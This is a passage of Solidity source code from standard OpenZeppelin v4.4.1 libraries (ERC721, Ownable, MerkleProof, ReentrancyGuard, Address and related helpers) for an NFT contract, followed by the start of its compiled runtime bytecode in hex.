transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102515760003560e01c806370a0823111610139578063b071401b116100b6578063d5abeb011161007a578063d5abeb0114610694578063db4bec44146106aa578063e0a80853146106da578063e985e9c5146106fa578063efbd73f414610743578063f2fde38b1461076357600080fd5b8063b071401b14610601578063b767a09814610621578063b88d4fde14610641578063c87b56dd14610661578063d2cab0561461068157600080fd5b806394354fd0116100fd57806394354fd01461058e57806395d89b41146105a4578063a0712d68146105b9578063a22cb465146105cc578063a45ba8e7146105ec57600080fd5b806370a08231146104fb578063715018a61461051b5780637cb64759146105305780637ec4a659146105505780638da5cb5b1461057057600080fd5b80633ccfd60b116101d2578063518302271161019657806351830227146104585780635503a0e8146104785780635c975abb1461048d57806362b99ad4146104a75780636352211e146104bc5780636caede3d146104dc57600080fd5b80633ccfd60b146103b657806342842e0e146103cb578063438b6300146103eb57806344a0d68a146104185780634fdd43cb1461043857600080fd5b806316ba10e01161021957806316ba10e01461032b57806316c38b3c1461034b57806318160ddd1461036b57806323b872dd146103805780632eb4a7ab146103a057600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806313faede614610307575b600080fd5b34801561026257600080fd5b50610276610271366004612061565b610783565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a06107d5565b60405161028291906120d6565b3480156102b957600080fd5b506102cd6102c83660046120e9565b610867565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b5061030561030036600461211e565b610901565b005b34801561031357600080fd5b5061031d600e5481565b604051908152602001610282565b34801561033757600080fd5b506103056103463660046121d4565b610a17565b34801561035757600080fd5b5061030561036636600461222d565b610a58565b34801561037757600080fd5b5061031d610a95565b34801561038c57600080fd5b5061030561039b366004612248565b610aa5565b3480156103ac57600080fd5b5061031d60095481565b3480156103c257600080fd5b50610305610ad6565b3480156103d757600080fd5b506103056103e6366004612248565b610bd1565b3480156103f757600080fd5b5061040b610406366004612284565b610bec565b604051610282919061229f565b34801561042457600080fd5b506103056104333660046120e9565b610ccd565b34801561044457600080fd5b506103056104533660046121d4565b610cfc565b34801561046457600080fd5b506011546102769062010000900460ff1681565b34801561048457600080fd5b506102a0610d39565b34801561049957600080fd5b506011546102769060ff1681565b3480156104b357600080fd5b506102a0610dc7565b3480156104c857600080fd5b506102cd6104d73660046120e9565b610dd4565b3480156104e857600080fd5b5060115461027690610100900460ff1681565b34801561050757600080fd5b5061031d610516366004612284565b610e4b565b34801561052757600080fd5b50610305610ed2565b34801561053c57600080fd5b5061030561054b3660046120e9565b610f08565b34801561055c57600080fd5b5061030561056b3660046121d4565b610f37565b34801561057c57600080fd5b506006546001600160a01b03166102cd565b34801561059a57600080fd5b5061031d60105481565b3480156105b057600080fd5b506102a0610f74565b6103056105c73660046120e9565b610f83565b3480156105d857600080fd5b506103056105e73660046122e3565b611098565b3480156105f857600080fd5b506102a06110a3565b34801561060d57600080fd5b5061030561061c3660046120e9565b6110b0565b34801561062d57600080fd5b5061030561063c36600461222d565b6110df565b34801561064d57600080fd5b5061030561065c366004612316565b611123565b34801561066d57600080fd5b506102a061067c3660046120e9565b61115b565b61030561068f366004612392565b6112db565b3480156106a057600080fd5b5061031d600f5481565b3480156106b657600080fd5b506102766106c5366004612284565b600a6020526000908152604090205460ff1681565b3480156106e657600080fd5b506103056106f536600461222d565b611538565b34801561070657600080fd5b50610276610715366004612411565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561074f57600080fd5b5061030561075e36600461243b565b61157e565b34801561076f57600080fd5b5061030561077e366004612284565b611616565b60006001600160e01b031982166380ac58cd60e01b14806107b457506001600160e01b03198216635b5e139f60e01b145b806107cf57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546107e49061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546108109061245e565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108e55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061090c82610dd4565b9050806001600160a01b0316836001600160a01b0316141561097a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108dc565b336001600160a01b038216148061099657506109968133610715565b610a085760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108dc565b610a1283836116b1565b505050565b6006546001600160a01b03163314610a415760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600c906020840190611fb2565b5050565b6006546001600160a01b03163314610a825760405162461bcd60e51b81526004016108dc90612499565b6011805460ff1916911515919091179055565b6000610aa060085490565b905090565b610aaf338261171f565b610acb5760405162461bcd60e51b81526004016108dc906124ce565b610a12838383611816565b6006546001600160a01b03163314610b005760405162461bcd60e51b81526004016108dc90612499565b60026007541415610b535760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108dc565b60026007556000610b6c6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610bb6576040519150601f19603f3d011682016040523d82523d6000602084013e610bbb565b606091505b5050905080610bc957600080fd5b506001600755565b610a1283838360405180602001604052806000815250611123565b60606000610bf983610e4b565b905060008167ffffffffffffffff811115610c1657610c16612148565b604051908082528060200260200182016040528015610c3f578160200160208202803683370190505b509050600160005b8381108015610c585750600f548211155b15610cc3576000610c6883610dd4565b9050866001600160a01b0316816001600160a01b03161415610cb05782848381518110610c9757610c9761251f565b602090810291909101015281610cac8161254b565b9250505b82610cba8161254b565b93505050610c47565b5090949350505050565b6006546001600160a01b03163314610cf75760405162461bcd60e51b81526004016108dc90612499565b600e55565b6006546001600160a01b03163314610d265760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600d906020840190611fb2565b600c8054610d469061245e565b80601f0160208091040260200160